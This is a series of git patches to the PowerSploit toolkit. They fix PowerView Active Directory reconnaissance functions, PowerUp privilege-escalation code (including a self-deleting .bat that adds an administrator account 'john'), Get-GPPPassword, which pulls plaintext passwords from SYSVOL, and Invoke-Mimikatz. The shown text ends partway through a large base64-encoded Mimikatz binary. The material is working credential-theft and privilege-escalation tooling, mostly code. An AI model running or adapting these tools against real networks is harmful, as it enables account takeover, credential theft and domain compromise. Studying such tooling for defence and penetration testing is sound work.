@@ -6652,11 +6641,11 @@ function Get-NetGPOGroup { .PARAMETER GPOname - The GPO name to query for, wildcards accepted. + The GPO name (GUID) to query for, wildcards accepted. .PARAMETER DisplayName - The GPO display name to query for, wildcards accepted. + The GPO display name to query for, wildcards accepted. .PARAMETER Domain @@ -6689,6 +6678,25 @@ function Get-NetGPOGroup { Returns all local groups set by GPO along with their members and memberof. + .EXAMPLE + + PS C:\> Get-NetGPOGroup -ResolveMemberSIDs + + Returns all local groups set by GPO along with their members and memberof, + and resolve any members to their domain SIDs. + + .EXAMPLE + + PS C:\> Get-NetGPOGroup -GPOName '{0847C615-6C4E-4D45-A064-6001040CC21C}' + + Return any GPO-set groups for the GPO with the given name/GUID. + + .EXAMPLE + + PS C:\> Get-NetGPOGroup -DisplayName 'Desktops' + + Return any GPO-set groups for the GPO with the given display name. + .LINK https://morgansimonsenblog.azurewebsites.net/tag/groups/ @@ -6725,7 +6733,7 @@ function Get-NetGPOGroup { $Option = [System.StringSplitOptions]::RemoveEmptyEntries # get every GPO from the specified domain with restricted groups set - Get-NetGPO -GPOName $GPOname -DisplayName $GPOname -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize | ForEach-Object { + Get-NetGPO -GPOName $GPOname -DisplayName $DisplayName -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize | ForEach-Object { $GPOdisplayName = $_.displayname $GPOname = $_.name From 3049211f533b006a08ec6bfca74e498b20a03a05 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Fri, 24 Jun 2016 16:11:20 -0400 Subject: [PATCH 173/296] Fixed Find-LocalAdminAccess to properly check for the object output from Invoke-CheckLocalAdminAccess...whoops --- Recon/PowerView.ps1 | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 0125ed8e..5a187e78 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -8543,7 +8543,7 @@ filter Get-SiteName { .EXAMPLE - PS C:\> Get-NetComputer | Invoke-CheckLocalAdminAccess + PS C:\> Get-NetComputer | Get-SiteName Returns the sites for every machine in AD. #> @@ -9844,7 +9844,7 @@ function Invoke-UserHunter { # see if we're checking to see if we have local admin access on this machine if ($CheckAccess) { $Admin = Invoke-CheckLocalAdminAccess -ComputerName $CName - $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Admin + $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin } else { $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Null @@ -9891,7 +9891,7 @@ function Invoke-UserHunter { # see if we're checking to see if we have local admin access on this machine if ($CheckAccess) { $Admin = Invoke-CheckLocalAdminAccess -ComputerName $ComputerName - $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Admin + $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin } else { $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Null @@ -11743,7 +11743,7 @@ function Find-LocalAdminAccess { if($Up) { # check if the current user has local admin access to this server $Access = Invoke-CheckLocalAdminAccess -ComputerName $ComputerName - if ($Access) { + if ($Access.IsAdmin) { $ComputerName } } From 81ac124f2211799207711fcd1b5fadb0091510f6 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Fri, 24 Jun 2016 16:51:16 -0400 Subject: [PATCH 174/296] Changed Get-NetGroup and Get-NetGroupMember to search for samaccountname instead of name --- Recon/PowerView.ps1 | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 5a187e78..a636bf1d 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -5189,7 +5189,7 @@ function Get-NetGroup { $GroupSearcher.filter = "(&(objectCategory=group)(objectSID=$SID)$Filter)" } else { - $GroupSearcher.filter = "(&(objectCategory=group)(name=$GroupName)$Filter)" + $GroupSearcher.filter = "(&(objectCategory=group)(samaccountname=$GroupName)$Filter)" } $Results = $GroupSearcher.FindAll() @@ -5357,7 +5357,7 @@ function Get-NetGroupMember { $Group = Get-NetGroup -SID $SID -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -FullData -PageSize $PageSize } $GroupDN = $Group.distinguishedname - $GroupFoundName = $Group.name + $GroupFoundName = $Group.samaccountname if ($GroupDN) { $GroupSearcher.filter = "(&(samAccountType=805306368)(memberof:1.2.840.113556.1.4.1941:=$GroupDN)$Filter)" @@ -5372,7 +5372,7 @@ function Get-NetGroupMember { } else { if ($GroupName) { - $GroupSearcher.filter = "(&(objectCategory=group)(name=$GroupName)$Filter)" + $GroupSearcher.filter = "(&(objectCategory=group)(samaccountname=$GroupName)$Filter)" } elseif ($SID) { $GroupSearcher.filter = "(&(objectCategory=group)(objectSID=$SID)$Filter)" @@ -5408,12 +5408,12 @@ function Get-NetGroupMember { $GroupSearcher.PropertiesToLoad.Clear() [void]$GroupSearcher.PropertiesToLoad.Add("$MemberRange") - [void]$GroupSearcher.PropertiesToLoad.Add("name") + [void]$GroupSearcher.PropertiesToLoad.Add("samaccountname") try { $Result = $GroupSearcher.FindOne() $RangedProperty = $Result.Properties.PropertyNames -like "member;range=*" $Members += $Result.Properties.item($RangedProperty) - $GroupFoundName = $Result.properties.item("name")[0] + $GroupFoundName = $Result.properties.item("samaccountname")[0] if ($Members.count -eq 0) { $Finished = $True @@ -5425,7 +5425,7 @@ function Get-NetGroupMember { } } else { - $GroupFoundName = $Result.properties.item("name")[0] + $GroupFoundName = $Result.properties.item("samaccountname")[0] $Members += $Result.Properties.item($RangedProperty) } } From 5a05a024b675f9483b7e3b2fa37e472400642330 Mon Sep 17 00:00:00 2001 From: Jon Cave Date: Mon, 27 Jun 2016 17:52:28 +0200 Subject: [PATCH 175/296] Fix Get-GroupsXML for multiple tags Select all nodes and iterate through them, not just the root node. --- Recon/PowerView.ps1 | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index a636bf1d..be6401a9 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -6141,12 +6141,12 @@ filter Get-GroupsXML { [XML]$GroupsXMLcontent = Get-Content $TargetGroupsXMLPath -ErrorAction Stop # process all group properties in the XML - $GroupsXMLcontent | Select-Xml "//Groups" | Select-Object -ExpandProperty node | ForEach-Object { + $GroupsXMLcontent | Select-Xml "/Groups/Group" | Select-Object -ExpandProperty node | ForEach-Object { - $Groupname = $_.Group.Properties.groupName + $Groupname = $_.Properties.groupName # extract the localgroup sid for memberof - $GroupSID = $_.Group.Properties.GroupSid + $GroupSID = $_.Properties.groupSid if(-not $LocalSid) { if($Groupname -match 'Administrators') { $GroupSID = 'S-1-5-32-544' @@ -6163,7 +6163,7 @@ filter Get-GroupsXML { } # extract out members added to this group - $Members = $_.Group.Properties.members | Select-Object -ExpandProperty Member | Where-Object { $_.action -match 'ADD' } | ForEach-Object { + $Members = $_.Properties.members | Select-Object -ExpandProperty Member | Where-Object { $_.action -match 'ADD' } | ForEach-Object { if($_.sid) { $_.sid } else { $_.name } } @@ -6171,8 +6171,8 @@ filter Get-GroupsXML { if ($Members) { # extract out any/all filters...I hate you GPP - if($_.Group.filters) { - $Filters = $_.Group.filters.GetEnumerator() | ForEach-Object { + if($_.filters) { + $Filters = $_.filters.GetEnumerator() | ForEach-Object { New-Object -TypeName PSObject -Property @{'Type' = $_.LocalName;'Value' = $_.name} } } From 325cc849d7fae993b5c7309e08c59c4b11c7da8e Mon Sep 17 00:00:00 2001 From: Jon Cave Date: Mon, 27 Jun 2016 17:53:59 +0200 Subject: [PATCH 176/296] Use correct variable --- Recon/PowerView.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index be6401a9..a54cc6de 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -6147,7 +6147,7 @@ filter Get-GroupsXML { # extract the localgroup sid for memberof $GroupSID = $_.Properties.groupSid - if(-not $LocalSid) { + if(-not $GroupSID) { if($Groupname -match 'Administrators') { $GroupSID = 'S-1-5-32-544' } From 9d2b9d763113d5241be2bb800f2aabd289e92222 Mon Sep 17 00:00:00 2001 From: Jon Cave Date: Wed, 29 Jun 2016 16:23:45 +0200 Subject: [PATCH 177/296] PowerUp: Allocate enough space for TOKEN_GROUPS Make an initial call to GetTokenInformation() with a NULL buffer to get the actual buffer size required. Prevents "The data area passed to a system call is too small" error being thrown. --- Privesc/PowerUp.ps1 | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) diff --git a/Privesc/PowerUp.ps1 b/Privesc/PowerUp.ps1 index 0b622452..7b6d3d29 100644 --- a/Privesc/PowerUp.ps1 +++ b/Privesc/PowerUp.ps1 @@ -974,17 +974,16 @@ function Get-CurrentUserTokenGroupSid { $Success = $Advapi32::OpenProcessToken($CurrentProcess, $TOKEN_QUERY, [ref]$hProcToken);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() if($Success) { - - $TokenGroupsPtrSize = $TOKEN_GROUPS::GetSize() + $TokenGroupsPtrSize = 0 + # Initial query to determine the necessary buffer size + $Success = $Advapi32::GetTokenInformation($hProcToken, 2, 0, $TokenGroupsPtrSize, [ref]$TokenGroupsPtrSize) [IntPtr]$TokenGroupsPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenGroupsPtrSize) - [UInt32]$RealSize = 0 - # query the current process token with the 'TokenGroups=2' TOKEN_INFORMATION_CLASS enum to retrieve a TOKEN_GROUPS structure - $Success2 = $Advapi32::GetTokenInformation($hProcToken, 2, $TokenGroupsPtr, $TokenGroupsPtrSize, [ref]$TokenGroupsPtrSize);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + $Success = $Advapi32::GetTokenInformation($hProcToken, 2, $TokenGroupsPtr, $TokenGroupsPtrSize, [ref]$TokenGroupsPtrSize);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() - if($Success2) { + if($Success) { $TokenGroups = $TokenGroupsPtr -as $TOKEN_GROUPS From 9596f682744cf5c8bdcb67b6f2a18f5be94073e9 Mon Sep 17 00:00:00 2001 From: Jon Cave Date: Thu, 30 Jun 2016 10:12:27 +0200 Subject: [PATCH 178/296] PowerUp: Remove badly encoded new lines from .bat output The current implementation results in a .bat like: @echo off\n start /b net user john Password123! /add && timeout /t 5 && net localgroup Administrators john /add\n start /b "" cmd /c del "%~f0"&exit /b With literal "\n" strings at the end of the first two lines. A new line in a PowerShell string should be "`n". However, an extra new line isn't actually necessary in this case. --- Privesc/PowerUp.ps1 | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Privesc/PowerUp.ps1 b/Privesc/PowerUp.ps1 index 0b622452..24669752 100644 --- a/Privesc/PowerUp.ps1 +++ b/Privesc/PowerUp.ps1 @@ -2669,8 +2669,8 @@ function Write-HijackDll { # build the launcher .bat if (Test-Path $TargetBatPath) { Remove-Item -Force $TargetBatPath } - "@echo off\n" | Out-File -Encoding ASCII -Append $TargetBatPath - "start /b $BatCommand\n" | Out-File -Encoding ASCII -Append $TargetBatPath + "@echo off" | Out-File -Encoding ASCII -Append $TargetBatPath + "start /b $BatCommand" | Out-File -Encoding ASCII -Append $TargetBatPath 'start /b "" cmd /c del "%~f0"&exit /b' | Out-File -Encoding ASCII -Append $TargetBatPath Write-Verbose ".bat launcher written to: $TargetBatPath" From 548b8864cf234cffb1943713baffe11f7d083dac Mon Sep 17 00:00:00 2001 From: Dennis Maldonado Date: Thu, 30 Jun 2016 08:46:08 -0500 Subject: [PATCH 179/296] Added ability to specify domain controller to search (-Server parameter) Added the ability for users to specify the domain controller that is searched, using the -Server parameter. The -Server parameter is optional and defaults to the user's current domain if not specified. --- Exfiltration/Get-GPPPassword.ps1 | 42 ++++++++++++++++++++++++++++---- 1 file changed, 37 insertions(+), 5 deletions(-) diff --git a/Exfiltration/Get-GPPPassword.ps1 b/Exfiltration/Get-GPPPassword.ps1 index 768a0d2d..8f52dfd8 100644 --- a/Exfiltration/Get-GPPPassword.ps1 +++ b/Exfiltration/Get-GPPPassword.ps1 @@ -12,7 +12,12 @@ function Get-GPPPassword { .DESCRIPTION - Get-GPPPassword searches the domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords. + Get-GPPPassword searches a domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords. + +.PARAMETER Server + + Specify the domain controller to search for. + Default's to the users current domain .EXAMPLE @@ -42,6 +47,21 @@ function Get-GPPPassword { UserNames : {DEMO\Administrator, admin} File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Services\Services.xml +.EXAMPLE + PS C:\> Get-GPPPassword -Server EXAMPLE.COM + + NewName : [BLANK] + Changed : {2014-02-21 05:28:53} + Passwords : {password12} + UserNames : {test1} + File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB982DA}\MACHINE\Preferences\DataSources\DataSources.xml + + NewName : {mspresenters} + Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48} + Passwords : {Recycling*3ftw!, password123, password1234} + UserNames : {Administrator (built-in), DummyAccount, dummy2} + File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB9AB12}\MACHINE\Preferences\Groups\Groups.xml + .EXAMPLE PS C:\> Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq @@ -63,7 +83,10 @@ function Get-GPPPassword { #> [CmdletBinding()] - Param () + Param ( + [String] + $Server + ) #Some XML issues between versions Set-StrictMode -Version 2 @@ -109,7 +132,7 @@ function Get-GPPPassword { function Get-GPPInnerFields { [CmdletBinding()] Param ( - $File + $File ) try { @@ -205,9 +228,18 @@ function Get-GPPPassword { throw 'Machine is not a domain member or User is not a member of the domain.' } + #Allow users to specify domain controller + if ($Server) { + $DomainController = $Server + } + + else { + $DomainController = $Env:USERDNSDOMAIN + } + #discover potential files containing passwords ; not complaining in case of denied access to a directory - Write-Verbose 'Searching the DC. This could take a while.' - $XMlFiles = Get-ChildItem -Path "\\$Env:USERDNSDOMAIN\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml' + Write-Verbose "Searching \\$DomainController\SYSVOL. This could take a while." + $XMlFiles = Get-ChildItem -Path "\\$DomainController\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml' if ( -not $XMlFiles ) {throw 'No preference files found.'} From fee3b4c642c6cae1ef18b85b7ae30111518e84fd Mon Sep 17 00:00:00 2001 From: Matt Graeber Date: Fri, 15 Jul 2016 14:07:10 -0700 Subject: [PATCH 180/296] #147 Bugfix: Invoke-Mimikatz Invoke-Mimikatz was not not handling functions exported by ordinal. Thank you @gentilkiwi for the suggested fix! --- Exfiltration/Invoke-Mimikatz.ps1 | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/Exfiltration/Invoke-Mimikatz.ps1 b/Exfiltration/Invoke-Mimikatz.ps1 index f95daa3b..bb18cfa8 100644 --- a/Exfiltration/Invoke-Mimikatz.ps1 +++ b/Exfiltration/Invoke-Mimikatz.ps1 @@ -1687,7 +1687,14 @@ $RemoteScriptBlock = { } else { - [IntPtr]$NewThunkRef = $Win32Functions.GetProcAddress.Invoke($ImportDllHandle, $ProcedureName) + if($ProcedureName -is [string]) + { + [IntPtr]$NewThunkRef = $Win32Functions.GetProcAddress.Invoke($ImportDllHandle, $ProcedureName) + } + else + { + [IntPtr]$NewThunkRef = $Win32Functions.GetProcAddressOrdinal.Invoke($ImportDllHandle, $ProcedureName) + } } if ($NewThunkRef -eq $null -or $NewThunkRef -eq [IntPtr]::Zero) From 66c93f9317ffe64e08532e62acaadfcd1dea0d47 Mon Sep 17 00:00:00 2001 From: Matt Graeber Date: Fri, 15 Jul 2016 14:28:34 -0700 Subject: [PATCH 181/296] Updated Invoke-Mimikatz to "2.1 alpha 20160711 (oe.eo) edition" --- Exfiltration/Invoke-Mimikatz.ps1 | 12 +++++------- 1 file changed, 5 insertions(+), 7 deletions(-) diff --git a/Exfiltration/Invoke-Mimikatz.ps1 b/Exfiltration/Invoke-Mimikatz.ps1 index bb18cfa8..5a492e90 100644 --- a/Exfiltration/Invoke-Mimikatz.ps1 +++ b/Exfiltration/Invoke-Mimikatz.ps1 @@ -2720,13 +2720,11 @@ Function Main [System.IO.Directory]::SetCurrentDirectory($pwd) - # SHA256 hash: 1e67476281c1ec1cf40e17d7fc28a3ab3250b474ef41cb10a72130990f0be6a0 - # https://www.virustotal.com/en/file/1e67476281c1ec1cf40e17d7fc28a3ab3250b474ef41cb10a72130990f0be6a0/analysis/1450152636/ - $PEBytes64 = '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